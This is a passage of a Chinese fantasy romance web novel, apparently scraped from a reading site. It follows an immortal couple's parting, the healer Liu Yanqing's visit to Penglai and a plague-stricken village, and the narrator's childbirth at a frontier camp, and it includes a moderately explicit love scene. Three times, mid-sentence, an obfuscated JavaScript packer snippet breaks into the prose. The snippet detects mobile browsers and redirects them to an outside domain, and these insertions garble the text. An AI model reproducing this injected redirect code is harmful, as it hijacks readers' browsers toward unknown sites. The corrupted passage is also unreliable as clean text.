他定是听成我在开玩笑。罢了,此情此景,也不便表露。 “你又分心了。” 似是情到深处从喉咙低处发出的一声挑拨心弦,我的脸一下涨红,心跳莫名加快,“还不是你——” 我的话语淹没在温暖而用力的拥抱和亲吻中。 脸腾地一下烧了起来。他的吻渐渐加深,舌尖轻轻撬开我的唇齿,探索着每一寸柔软。我闭上眼睛,攀上他的脖颈,任由自己沉溺在这个笨拙杂乱的吻里。 绵绵细雨还在下,一点一滴淅淅沥沥落在琴弦上,忽而大弦嘈嘈如急雨,时而小弦切切如私语,不急不慢,循序渐进。 仿佛时间很长,不急一曲快感,慢慢品味。 一切回归最原始天然的寂静之中,忘记此时是场梦,漫长的梦,不愿醒来的梦。 小雨与藤蔓正纠缠婆娑,爱欲与向往在遥相呼应,我仿佛穿行在极乐之地的旅人,吟唱突破天际的欢愉与久别重逢。 全身被雨水浇打湿透,仙人的羽衣揉在一起皱成一团,失了光泽。 先停雨吧。 抬手一挥,拨云见日,一切恢复如初。我披头散发,张开四肢伸个懒腰,然后起身整理衣服。 “嘶——” 剧烈的酸疼打断我正在系腰带的手,不得不停下来揉揉。身后越过一只手臂夺去我手心的腰带,越到我身前,双臂圈主我的腰替我穿戴。 到底是医师,手脚就是麻利。替我穿好后,他才转身去拿自己的衣裳。我见状一把夺过来。 “礼尚往来。” 他哭笑不得,乖乖抬起双臂等我替他更衣。 “仙人里面还穿裤子呢?” “……问的什么话。” “嘿嘿,第一次细细观摩嘛。” 帮他系裤带时,手不小心碰到他的大腿处。热乎乎的,硬邦邦的,一鼓一鼓的……什么玩意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056769|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿?该不会是……忽然间醒悟过来,我吓了一跳,赶紧缩回手。脸一下子红了,立马把衣裳丢还给他。 “你、你还是自己来吧。” 我们靠坐在送给医仙爱人留在的那棵树下,如今它已是整片梅林中最苍劲挺拔的一株。 我深吸一口气,将方才被他轻巧带过的话题重新拾起,堂堂正正告诉他。 “砚、砚清!” 我忽地挪动身子,正襟危坐在他面前。 “我、我们……我们成亲吧!” “……” 年轻仙人怔愣,许久没有说话。 真的,许久。 “你说话呀……这次不是玩笑话!我是认真的。” “我也是。” “欸?” 他站起身,不忘一齐拉起我。 “我不能和你成亲。” “……为什么?” “因为……”他别开脸,“因为不愿意。” 我急切地拽住他的衣袖。 “可我们不是两情相悦、天定良缘、命中注定——” “不是。” 他抽回手的动作干脆利落,眼中那片我熟悉的温柔荡然无存,只剩下深不见底的黑。 “我们不是。” 我气得浑身发抖,眼眶发烫,一拳打落他肩头那片碍眼的梅叶。 “白痴!笨蛋!” 我几乎是吼出来的,声音在寂静的梅林里显得格外刺耳。 “既然不是……那你以后都别来见我!这辈子都别来!到死都不准出现在我面前!” 柳砚清站在原地没动,连衣角都没颤一下,好像我的话不过是掠过耳畔的一阵风。 我转身就走,脚步踩得极重,枯枝在脚下发出断裂的脆响。 心里憋着一股狠劲,想着他若是追上来,我定要再骂他十句、百句。可直到走出梅林,身后始终没有脚步声。 此一别,真就到死才再相见。 旷野晦暗的风中,我没能最后见到他的模样。只用指尖描摹他的轮廓,想象着他的样子。 身体已无力气将所有想说的话一一告知,内心却喷涌出无数言语。 “离开你后,我想尽一切办法忘了你。甚至,想用姻缘终结与你的姻缘。” “我在京都与他再次重逢。我忘记了他,他也忘了我。我们就像两个初次见面的人,浪迹天涯。在邵州府的那片花海,他对着天地,向我许下誓言。许下与我终生相伴的誓言。花海那日,我记起了与他的前世。他救了我,却死在了尚未完成将军梦的十九岁少年时。” “我答应了他。想着,如此一来,你与的情劫,也就此断了。” “可是……他偏偏死在了婚宴当日。” “真有趣。第一次,与你的婚宴那天,我逃走了。第二次,与他的婚宴那晚,他离开了。我们是不是非要这样,彼此折磨,折磨到生生死死,没有尽头?” “他叫贺祈源,你认识的。你曾背着爹爹救了他一命,还记得吗?” “这次,不必救我。我想埋在一处花海,囚禁在没有情爱的花花世界。” “但若你能救他,再救一次吧。哪怕耗费我全部的神力……替我还了欠他两世的债。” 57. 丹心寸意 【又拂卿柳】 柳砚清奉医仙葛榆之命,前往蓬莱仙岛天工院给北雷真君送医鹿山刚制成的仙药。 打造玉笛所需的材料,除了天宫千年生长的竹,霜洲地界的神石,竟然还需要医鹿山九十八味仙草提炼出的药。 天工院偌大的空间摆满了各种等待锻造的神器。在一堆杂乱的材料中间,北雷正细细检查手中的玉笛是否完好有无瑕疵。 毕竟是给自己小妹的神器,听到即将拥有神器,她可是说了句“最喜欢大哥”呢。 北雷扭过头见柳砚清站在门口,停下手中的动作。前往门口接下玉笛所需的最后一剂材料。 “我还是头一回打造一件神器花这么长时间。等锻造出炉,南风估计又去人界惹多少祸了。” “辛苦真君。仙药已送达,砚清便回去了。” 完成医仙交代的事,柳砚清也不便打扰,欲要离开。 北雷叫住他,不紧不慢道:“难得来,不去蓬莱第几宫看看南风吗?她刚醒不久,正好可以见见。” 南风坠入江水,昏睡了一段时日。在那期间,柳砚清凡有空便道蓬莱第几宫照看她。 “发生了些事,怕她不想见到我。” 北雷自然知道是何事,露出了然的笑说道:“担心那件事啊。放心,她忘得一干二净,你只管去吧。” 柳砚清难以置信,面色不安。凝视北雷手中的玉笛良久,欲言又止道:“……忘记了?” 忽有花叶从隐蔽的角落中飘散出来,落在两人眼前,是白色的梅花。 北雷略显惋惜说:“爹爹救活她后,我看到西雨偷摸摸给小妹消除了段记忆,关于你。” 柳砚清抬手接下白梅花瓣,想起那日海边,以白梅为证,许下星辰之约的一天。 也想起了天河星空下,许下白首之约的人间愿景。 北雷走到飘出花瓣的位置,从一堆杂乱中抽出一支完好的梅花。 这是锻造玉笛所需的材料之一。 南风最喜欢竹和梅,所以玉笛中自然少不了这两样。 北雷望着白梅苦笑,感叹道:“也算好事,不是吗?娘亲走的时候,南风还不会说话,咿咿呀呀的,连爹爹都还认不得,遇到个大仙就争着要抱。” 他放下白梅,继续说:“那段时间爹爹跟病了似的,整日呆在后院。那时候没有竹林,只有一池莲花,是娘亲走之前留下的。南风长大后问及娘亲的模样,爹爹说若是能看见的竹,便会知晓。于是,她将后院打造出一片竹林。从她卧室的窗户望出去,便是一望无际的翠绿。听南风说,她甚至在人界的宅院外也生了片竹林。可惜,她还是没能见到。” 北雷在茶案边坐下,柳砚清也被邀入座。 一盏茶后,又徐徐道来:“在爹爹走出阴霾之前,我们仨争着抢着南风的抚养权。有人敢欺负她,我和东婝二话不说就冲上去揍人。结果就是,好心当做负担,南风有段时间还因此不理我们俩。她去人界,我们悄悄跟去,想着逗她乐,直接闯进了那凡人的家,她又是气不过,到死……才肯回来见我们。” 柳砚清没有说话,静静聆听过去他所不知的南风。 “走之前还是去看看她吧。也好解开你的心结。” 柳砚清一怔愣,浅浅笑道:“那便回利州前,我去看看她。” 竹林风动,院墙内探出的翠绿沙沙作响。 许久不到蓬莱第几宫,与她在人界初见的画面恍惚在眼前。这瞬间,两人的目光隔着数月的光阴,蓦然相会。 他叹出一气,决然走向蓬莱第几宫的大门。 “砚清?” 柳砚清听声回眸看去,一堵墙后一人探出半个身子。见那人不肯主动过来,柳砚清便折返回去。 “枕书君,好久不见,近来可好?” 不过客套话。云枕书面容憔悴,眼底的淤青清晰可见。 早听闻云枕书最近被各种相亲事宜扰得不可开交,此刻躲在暗墙后面,原因可想而知。 云枕书叹了口气说道:“一点不好。过几日被安排和东婝元君相亲……怎么办!我怕死在相亲宴会上。” “元君……有那么可怕吗?” 云枕书露出手臂上的伤,抱怨道:“试问仙界哪有手劲儿如此之大的人?两根指头,就掐成这样。要是改为一只手,我的胳膊就废了!” 柳砚清若有所思,嗯了一声,思索片刻后四下张望,问:“枕书君这是在等人?” “哦,我在打探元君的行踪,避免和她正面冲突。” “……” 柳砚清不知如何回话,沉默着。一墙之内便是蓬莱第几宫,再往前几十步,即是大门。 “实在不敢想,以后要称好友为妹夫。” “枕书君还是可以唤我砚清。” “那怎行。同是嫁入蓬莱第几宫的人,你又在我先,以后,我的性命就全权托付给你了!妹夫!” “枕书君的话……是否有歧义?” “表面是有的,你仔细想想,是没有的。” “你这不还没和元君成婚吗?” “婚事是逃得掉的吗!那可是元君!方大仙!北雷真君!西雨真人!南风……南风不会打我。总之,我一个都打不过!” 好像是那么回事。 霞光随流云,阴影浸没云枕书的身影。柳砚清则站在明暗交接处,时刻注意蓬莱第几宫大门那边的动静。 云枕书这才想起柳砚清一个住在凡间的仙人,竟然出现在蓬莱仙岛。 “砚清这是去哪儿?” “蓬莱第几宫。枕书君……连襟要一起吗?” “说什么荒唐话!你快去吧,告辞。” 云枕书匆忙离去。柳砚清独自走向蓬莱第几宫敞开的大门。忽然院内响起匆匆脚步声,有人来了。 “啊!砚清?!” 东婝刹住脚,险些撞上门框。柳砚清装作没看见,颔首行礼。 “元君,许久不见。” 东婝在外人面前从来一副生人勿进的冰霜女神相,在自家人面前是个情绪起伏不定,甚至有些呆傻的性子。 柳砚清当然是自家人,爹爹唯一的弟子,小妹差点成婚的夫君,亲上加亲,彼此也是知根知底。 东婝热情招呼道:“南风正好在,直接进去吧。” 柳砚清面露难堪,推辞道:“就、不必了。替医仙送药给真君,还得去利州行医,不便打扰。” “利州?那正好,有你看着,爹爹不会反对。小妹丢了段记忆,变得神经兮兮的,你正好带她去散散心。” “我——” “南风!” 完全不等柳砚清作出决定,东婝一嗓门叫来了院内看似数年不见实则数月不见的人。 柳砚清的目光投向不远处的仙子,神情恍惚。 南风提着裙摆迈着大步奔来,柳砚清定定看着她,透过那双澄澈的眼睛,试图确认她是否真的失忆了。 “砚清?!你怎么来蓬莱了?” 南风也是许久不见柳砚清,诧异问道。 “替医仙给真君送药。” 趁着两人插科打诨,东婝欣慰一笑,拍了拍南风的肩膀,说:“两位慢慢聊,我去打探云枕书在做什么。” 不愧是即将喜结连理的人,意外的默契。 东婝离开后,蓬莱第几宫难得安静了片刻。最后还是南风突然伸出手指戳了戳发愣的柳砚清脸颊,让气氛缓和了些。 “听说你无聊得要疯了?” “是啊。”南风做出欲哭无泪的表情,抱怨道:“抹除记忆,被关禁闭,整个蓬莱仙岛找不出比我更可怜的人了。” “抹除记忆?” “嗯,好像去人界犯了点错,西雨怕我想起来伤心,替我抹掉了。” “所有的记忆?” “那倒不是。我还记得闻笙、顾辞、叫韩风的姑娘,以及……没了。” 果然没了那段记忆。 柳砚清并不伤心,反倒庆幸。忘了也好,那场闹剧,无论是南风还是他,都不想再记起。 南风瞧柳砚清惴惴不安,忍不住笑了,戳了戳年轻仙人的脸庞,安抚道:“关于你的事我可记得呢,何必伤心?” 兴许是终于能名正言顺出门,南风毫不避讳地挽上柳砚清的手,借着他离开蓬莱第几宫。 “啊!可算能出门了,再待下去,我真得憋坏了。” 柳砚清盯着挂在自己臂弯上的人,心思复杂。刚才还庆幸的人,转眼又庸人自扰。 蓬莱仙岛的霞光是随着某位大仙的心情变换的,刚才还灰蓝色的天光,顷刻间变成满天耀眼的星辰。 南风忽然搂住柳砚清的脖颈,凑到他耳边。 “我想你了……” 柳砚清看不见南风的表情,复杂的心情使他落在南风后背的手变得更加紧密。 “我也想你。很想,很想你。” 柳砚清听见怀中之人轻轻笑了,侧过头在他脸颊上一吻,在他耳边轻轻诉说:“忘记发生过的事,心里就像毫无预兆被割去一半,留了个空洞。不过,好在关于你的事,我都还记得。想想,也没那么寂寞了。” “是吗。” 他眼眸幽深,被她的话蒙上一层阴霾。 是啊,她记得自己,却也忘了“自己”。 “当然!不管是几年前的初遇,还是你送我的白梅,我向你索要星辰的约定,我都记得呢。此番人间之旅,我认识的人,他们或多或少都有你的影子。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056770|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都怀疑是不是故意为之,偏偏挑和你相似的。” 柳砚清无奈笑了笑,“这话听了怎么一点也不开心呢。你跟所有男人都说过同样的话吧。” “天地良心!绝对没有!” 心底的尘埃被她夸张的玩笑话吹散。 柳砚清也暂且放下心结,问道:“利州突发病疫,我得去看看,你和我一道吗?” 南风欢欣道:“好啊。虽然帮不上忙,但我会保证绝不添乱的!” 利州山村的焚尸坑边,柳砚清和南风默默为被病痛折磨致死的人祈福。 村民们纷纷散去,四下静地只能听见火舌蔓延的声音。南风也站得打起瞌睡,柳砚清便叫她先去村民准备的屋内休息。 南风离开后,忽然,远处跑来四个孩子冲到火坑边,柳砚清见状立马施法筑起一堵看不见的墙拦着四人。 两个少年,两个少女,最小的甚至还在少年的背上。 火坑里有他们的爹娘,一场病疫,四个孩子一夜之间成了孤儿。 年长一些的少女眼眶通红,扑通一声跪下,颤抖不已。被她紧握着的少年也一齐跪下。 最大的少年因为背着妹妹,只能低垂下头。意外的是他们没有哭,憔悴的脸上意外写满坚强。 柳砚清走上前蹲下身,从怀中掏出四支糖葫芦送给孩子们。 “这是……糖葫芦吗?” 少年少女接过糖葫芦,有些为难,留着口水却不敢直接送进嘴里。 柳砚清温柔地安慰:“吃吧,不够吃,这里还有。” 最大的少年向柳砚清解释道:“谢谢大夫……只是小花哭着找娘亲……” 柳砚清望了眼火坑里的惨烈,起身挡在孩子们面前,说道:“天要下雨,我带你们回家。” 四个孩子乖巧点头,最大的少年背好叫小花的妹妹,另外两个孩子姐姐拉着弟弟。 这时,柳砚清感觉自己的手指被什么握住,垂眸看去,竟是年纪较小的少年牵住了他。 柳砚清没有说话,只将少年的手牵的更紧。 “叔叔家里也有兄弟姊妹吗?” 最大的少年突然问道。柳砚清摇头说:“叔叔家中独子,不过……”他想到接下来要说的话,自己先笑了笑,“叔叔有两个孩子,调皮贪。但因叔叔常年四处行医,他俩倒慢慢懂事了些,彼此照顾。” “叔叔的两个孩子也是哥哥和妹妹吗?” “他们是同月同日生,不过,也算哥哥和妹妹吧。哥哥不善言辞,却将妹妹保护得很好。明明自己也受了委屈,却第一时间想着安慰妹妹。” 最大的少年不说话了,背着妹妹的双手紧了紧。 许久之后,他似乎下定了决心,再安置好睡着的小花,和安排弟弟妹妹去厨房准备晚膳时,对柳砚清说:“我也会照顾好弟弟妹妹们,不让他们受委屈。我会去附近的村子找找能做的工,以后,我就是这个家的顶梁柱。” 那以后,柳砚清每年会来利州行医,必然来此看望四个孩子,为他们添置些生活起居用品。 屋内的南风已经睡足一觉,百无聊赖坐在门口等柳砚清回来。 “说好给我讲故事的,怎么这么久才回来?” 村民送来的饭菜摆在桌上,南风一口没吃,将眼前的饭菜热了一遍又热一遍。 柳砚清走到她身边坐下,“算准了饭点回来,饿吗?” “饿,但故事也想听。那就——我边吃,你边讲吧。” 柳砚清失笑,故意逗她:“我不吃?” “仙人也要吃饭吗?”南风歪着头反问,一脸天真。 “那神仙也要吃饭吗?”柳砚清学着她的语气反问。 南风开怀大笑,放下刚拿起的筷子,端正坐好,双手规规矩矩地放在膝上。 “索性都不吃了。快快快,我已经坐好听你讲故事了。” 柳砚清无奈地摇摇头,眼中满是宠溺。 “好。” 于是,落日余晖中,柳砚清讲述起当年拜入蓬莱第几宫,与方大仙初遇之事。 处理完村中各事后,柳砚清再回房中已是半夜。 黑夜里,月光隔着纸窗,趴在桌案上睡着的人,脸庞镀上一层银光。柳砚清看着他,垂下双眸。 “忘记……到底是好还是坏……我还是想不明白。” 他捡起落在她身后的披风,为她重新盖上,温热的指尖拨开她挡住脸庞的发丝。 安静的人,如同她坠入江河前的表情。 倘若她再次奔赴黄泉,到那时能救她的,只有自己了。 “明明那时就能成就定局,你为何……” 他埋下头,双肩颤抖。 “你为何要逃……就这么不想嫁给我吗……” 58. 月落星沉 【梦溯流光】 “宁医师。” 听见营帐外熟悉的脚步声,我顾不上手炉和披风追出去。宁安桥回头看到我,眉头下意识蹙紧。 “下雪了,怎么不加衣裳?” 他强拉着我重回帐内,抓起椅背上的披风给我穿上。 三月下旬的天,本该春风拂面、万物复苏的时节,可边塞的天气总是不按常理。预料中的春风迟迟未到,反倒等来了今年的第一场雪。 营帐外的沙地被一层白雪覆盖,原本黄褐色的荒漠在雪的映衬下显得格外寂静。远处的山峦也被雪染成了灰白色,轮廓模糊。 整个营地笼罩在一片静谧之中,只有风卷着雪花的声音,陪我等待星星的降临。 “着急出来找你。你要去哪儿?”我见他手里提着酒壶问道。 “祭奠一位故人。” “我和你一起去!” 宁安桥低头看我,眼神凶巴巴的,但只是一瞬,又恢复了平时的温柔。 “下雪了。” “没关系。” “不行。” 见他态度坚决,我拽着他的袖子,声音软了下来:“你要丢下我吗……” 他沉默了会儿,终于叹了口气,无奈又给我裹了两层厚衣裳,才肯带上我。 吃软不吃硬。相处数月我也是摸清了宁安桥的口味。 我搭上宁安桥的手臂,慢慢走在荒漠里。空气清冷而干燥,脚下的沙子踩上去松软又带着些许凉意。 走到一处时,他忽然停住蹲下身,从怀里掏出两只酒杯,放在沙地上。 我站在旁边看着他动作,忍不住问:“那位故人的坟墓在这儿?” 宁安桥没有抬头,继续手里的动作:“不是。他死在京都,被葬在一片花海中。因为没人知道具体位置,所以我每年都在这里祭奠他。” “不知道埋在哪里?可你不是说一片花海吗?” 宁安桥轻叹口气,目光飘远。 “天下之大,谁知道是哪处的花海。他去世的那晚,雨下得很大。雨水冲走了地上的血迹,连他的尸体也不见踪影。后来,大将军收到封信,说他被葬在了一片花海。” “不知何人所为?” 宁安桥摇头,拿起酒壶,清冽的酒液缓缓倒入杯中:“信是凭空出现在大将军的书案上,没人见到送信的人。” 我看着他落寞的侧脸,心里有些酸涩:“所以你每年都来这里?” “军营里忙不过来,就在梦里祭奠。” “梦?” “梦里,我坐在荒漠中,提一壶酒。” 说到这,宁安桥忽然笑了,眼神柔和了几分:“我们第一次见面,唯一一次见面,也是在梦里。” 我抿了抿唇,低下头:“抱歉,我不记得了。”犹豫了一下,又问,“说来,你为何如此确定是我呢?” “起初并不确定,只是觉得你与她有几分相似。是那支玉笛,让我确信,你就是她。” “玉笛?” 我想起那天晚上他替我捡到的玉笛。 宁安桥说:“你说是你大哥特别为你打造的,可在你危险时赶往你身边。” 数月前的记忆蓦然勾起,我恍然大悟:“所以那时候你说,比起神仙术法,巫蛊之术更具说服力……你知道玉笛是神器,也知道我是……偏偏不知道我的名字……” 我自嘲地笑了笑,抬头看向远处湛蓝的天际。 “也对,要是你知道我的名字,我的旅程大概早结束了吧。” 冥冥之中我再次确认这场旅途的独特,一切都在按照某个人编写的话本进行。 还记得闻笙说的话吗,有人告诉他我下山的时间和地点,要他在鹿镇等我。 偏偏那么凑巧,去清溪山的天颜卿也在。吴盼秩从一开始便知道我从医鹿山去了信州,设局等我下去,为了的就是带我来边疆。 下一步呢?既然被流放至此,下一步该去何处? 齐风、楚风、燕风……好熟悉的顺序。假设推断没错的话,下一个名字该不会叫—— “看样子,你还舍不得?” 宁安桥突然打断我的思绪,我笑着摇头。 “以前会这么想。但现在,我有他。便想安定下来,平平淡淡地走过一生。反正我也不是什么神仙了,没法力,不会长生不死。凡人的寿命极短,我想尽可能多陪他几年。” 陪他在人世间做一对平凡人,或者归隐山林与世隔绝,都不错。 “你腹中孩子的爹吗?” “嗯。”我不自觉抚上小腹,“唉,都还不知道孩子爹是谁。” “什么?!” 徒然提高的音量吓我一跳。 我对上宁安桥不可思议地目光,讪讪笑了笑说道:“别摆出没见过世面的表情嘛……生出来不就知道啦。” “……” 宁安桥的眼中浮现出一丝无语。 “风流成性。” 他冷冷地丢下这句话后,头也不回地离开了这里。 “啊?你生什么气?” “我没有生气。” 我不紧不慢跟上他,见他板着个脸,分明就是生气了嘛。 “事情跟你想的不一样,我不是乱搞的那种人……额,至少现在不是。我为人很正直的,你——” 宁安桥突然停下脚,毫无预兆的一个弹指打在我额头上。 “消停会儿吧。” “哦……” 荒漠的空气中弥漫着一种静谧,宁安桥一言未发地走在我身侧。 我们沉默了很久,他忽然开口:“你还想回信州吗?或者说,如果你可以离开,你会去哪儿?” 我低头摸了摸隆起的肚子,轻声道:“取决于他吧。” 如果他是柳砚清的孩子,就回医鹿山;如果是颜卿的孩子,就回信州府。 绝世仙骨和星君转世……我心里其实早有答案,只是还在自欺欺人。 或许我心底还是希望,来到这世上的依然是两个孩子吧。 “或者,多一处选择?” 我默默看着我宁安桥,他站起身巨大的身影笼罩下来。 “天底下这么大,难道抉择不出吗?” 我怔了一下,随即扑哧笑出声。 “是啊,天下那么大,总有我的去处。即便没有家人,天下无家,只要我想,难道还过不上能活下去的日子吗。” 只是抱歉,我的归途可能无法指向你。 产期临近,我的脾气越发阴晴不定。 宁安桥严禁我再碰药箱,整日将我拘在帐内。这方寸之地,早被我折腾得不成样子。 帐外偶有脚步声,却总在帘前戛然而止。 那些传闻在脑中翻涌:血崩的产妇,窒息的婴孩……我才刚找回他,还没来得及想起自己是谁…… 玉笛声有时能抚平焦躁,宁安桥如今对我百依百顺,连我摔了碗筷都只默默收拾碎片。 这般纵容,倒让我越发惶惑——若真到了生死关头,这份温柔能留住谁呢? “砚清……我想你……我想回医鹿山……” 傍晚,宁安桥端来一碗热腾腾的粥,每一口都吹凉了些再喂我。心里突然涌上一股莫名的烦躁,推开碗:“我又不是没手没脚,不要你喂。” 没把控好力度和情绪,粥洒了一地,碗在地上滚了几圈,连宁安桥干净的衣摆也沾上污渍。 宁安桥低头看了看地上的狼藉,默默捡起空碗。 “我去重新盛一碗。” 我气得浑身发抖,指着帐门,“不要你管!出去啊……我不想看见你。” 但他没有注意到我的神情,因为我将脸转向一边,不许他看见我现在狼狈的表情。他转身就走,连一句多余的话都没有。 等他离开后,我才感知到自己说了什么过分的话。我难以相信自己居然将临产前恐惧带来的负面情绪毫不掩饰的,尽数撒在他身上。 他什么都没有做错。 重新盛了一碗粥后,宁安桥返回帐内,依旧保持着平静。 “我自己吃。” 他没说话,默默地将碗里的粥吹凉一些,递给我后退出去。 直到晚上也没有出现。 我以为他只是一时生气,过会儿就会回来。可直到天黑,他都没有出现。 帐内安静得让人心慌,我只能听见自己的呼吸声和二胖肚皮里咕噜咕噜的声音。 夜里,我翻来覆去睡不着,心里既委屈又懊恼,却又不肯承认自己错了。 “小气鬼……” 愤愤骂了句,我倒在床上左翻身右翻身,但耳朵仍小心地关注着外面的动静。二胖偶尔醒来翻过肚皮,又翻身蜷缩在我头顶上。热意包裹,我的眼眶也慢慢染上热意。 “我怎么老是哭哭啼啼的……丢死人了……” 清晨听见有脚步声踏雪而来,咯吱咯吱的,由远及近。我心头一跳,以为是宁安桥,飞快地爬起来,急忙抬头看向帐门。 帘子一掀,进来的却是贺祈安。他拍了拍肩上的雪花,跺了跺脚,笑着走进来:“这天儿可真冷,雪下得没完没了。” 我勉强扯了扯嘴角:“二将军怎么来了?” 贺祈安搓了搓手,走到炭火旁取暖,随口说道:“我看你这肚子挺大,估计快生了,过来瞧瞧你。怎么样,有没有哪儿不舒服?” “托将军的福,平安降生没有问题。” 贺祈安点点头,像是突然想起了什么。 “哦对了,安桥去了环州府,说是有点事要处理。来回估计有几日,你不必担心。” “嗯……谢谢二将军。” 贺祈安看了我一眼,似乎察觉到我情绪不高,笑着安慰道:“你也别怪安桥,他就那臭脾气臭脸,骨子里还是很温柔的。” “嗯,我知道。” 正说着,帐帘又被掀开,两张熟悉的面孔走进来,贺祈安以为我不认识便介绍道:“这是方劼和李昰,曾跟在我三弟身边。听闻我来看望你,非要跟着一路。我想着这俩活宝来陪你说说话也好,就同意了。” 方劼和李昰? 我愣了一下,问道:“你们不是叫鲍渔和单贝吗?怎么……改名字了?” 叫鲍渔的方劼不好意思地笑了笑:“那是家里娘亲取的乳名,出门在外,总得有个正经名字。” 叫单贝的李昰走到我身边,主动替我去给手炉加些木炭,说:“大名太拗口,而且难写,还是喜欢简单点的。” 我没忍住笑出声。忽地,肚子的孩子似乎感应到,兴奋地踹了我一脚。 贺祈安有事先离开后,方劼和李昰两人面面相觑后,方劼递给我一枚附身符,说:“临行前,我娘送给我们的护身符,送姑娘一个。” 我鼻子发酸,又把护身符还了回去:“如此贵重的东西,我怎能收下。你们比我更需要它。” 李昰正添好木炭送回手炉说道:“可我听说生孩子很危险的。我们村就有姑娘难产去世……啊,我没有别的意思!就是……就是……哎呀,我这笨嘴,姑娘别往心里去!” “那是一般人,我又不是普通的凡人,放心,不会有事的。” 我义正辞严地保证,他们认真听着。 李昰说:“从我见到姑娘的第一眼,就知道姑娘不是普通的凡人。” 方劼低下头回忆起过去说:“上一个如此勇敢的姑娘,还是三将军未成礼的夫人。尽管未曾谋面,但从三将军口中听到的,和姑娘你无论是相貌还是偶尔流露的真性情,简直一模一样。” “未成礼的……夫人?” 宁安桥失踪了三日。 我正低头整理药草,突然,一阵剧烈的疼痛从小腹传来。我猛地抓住桌角,冷汗瞬间从额头渗出,顺着脸颊滑落。 “怎么会……在这个时候……” 腹中的疼痛一波接一波,如潮水般汹涌而来,几乎要将我淹没,整个人不受控制地滑坐在地上。 身体的疼痛不断撕扯着我,我挣扎着想从地上爬起来,至少让自己不要坐在冰冷的地上。接连做了几个深呼吸,疼痛不减,越发撕扯得厉害。 我终于忍不住歇斯底里地喊叫。 羊水顺着腿间流下,浸湿了衣裙。我低头看着地上的水渍,慌乱如麻。 “……砚清……救我……好痛啊……” 似是有什么东西在拼命地往下坠,眼前一阵阵发黑,几乎看不清眼前的一切。寒风从帐门的缝隙中灌进来,吹得我浑身发抖,可我却感觉不到冷,只有无尽的疼痛和恐惧。 “安……宁安桥……你在哪儿……” 就在这时,帐门被猛地掀开,一道高大的身影逆着光冲进来。 宁安桥冷峻的面容映入眼帘,身后还跟着一位年长的稳婆。 稳婆身上有何会有如此熟悉的味道…… 他没有说话,只是快步走到我身边,蹲下身,动作干脆利落。他的手掌贴在我的额头上,冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056771|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉的温度让我稍稍清醒了一些。 “羊水破了。”他面上淡定地说道。 稳婆迅速走到我身边,熟练地检查了一下情况:“这里太冷,换个温暖点的地方。” 宁安桥没有丝毫犹豫,俯下身,手臂穿过我的膝弯和后背,将我小心地从地上抱起。 我靠在他的胸前,能感受到他胸膛微微的起伏。他向来爱干净,可此刻却顾不上我身上浸湿的衣裙和羊水,大步朝营帐外走去。 “我害怕……” 他低头看了我一眼,手臂微微收紧了几分。 “别怕。我陪着你。” 稳婆跟在后面,快步走着,不断提醒我调整呼吸。 宁安桥径直将我抱回了平日休息的营帐。帐内早已备好暖炉,炭火正旺。 他将我轻轻放在床榻上,动作小心。可我却顾不上这些,腹中的疼痛依旧剧烈,让我忍不住蜷缩起身子。 “热水、干净的布,还有剪刀。” 稳婆一边检查我的情况,一边快速吩咐。 “一切准备就绪。” 许是动静太大,贺祈骁也赶来,瞬间被眼前的画面吓到。一同来的还有贺祈安、方劼、李昰……好多人啊。 稳婆蹙着眉头开始驱散这群大男人:“闲杂人等回避,不许大声喧哗。” 宁安桥擦去我额头上的汗,也准备一同离开。 “你、你别走。”我死死拽着宁安桥的衣袖不放,“我害怕……” 他蹲下身,紧紧回握住我的手。 “不怕,我不走。” 稳婆开始忙碌起来,低声安抚:“来,跟着我,深呼吸……” 我努力按照她的指示调整呼吸,可疼痛依旧像是要将我撕裂。 “啊——好痛啊啊啊啊啊啊——” 宁安桥的手被我死死抓住不放,指甲陷进他的皮肉里也不挣脱。 “再用力一点,孩子就快出来了!” 还要再用力?!我已经使尽全身的力气! 每一次用力都仿佛耗尽了全身的力气,呼吸越来越急促,胸口剧烈起伏。 “不行……我……我没力气了……我要死了——啊!!!!” 宁安桥握紧我的手,目光冷冽眉头紧锁,擦去我额头的汗水。 “再试一次,好不好?” 我摇了摇头,眼泪不受控制地滑落。 “我……我真的不行了……好痛……我害怕……我要死了……” “你可以的。” 宁安桥的声音坚定,手掌微微用力握紧我。 “有我在,你不会有事。你不想让星星落地人间吗?” 星星……我的星辰……我和他许诺的星辰…… 我闭上眼睛,咬紧牙关,拼尽最后一丝力气。 感觉什么抽离体外,却安静得出奇。 稳婆抱着孩子走到一旁,留给我一个背影。恍惚间,我竟望着稳婆想起了砚清…… 沉静片刻。 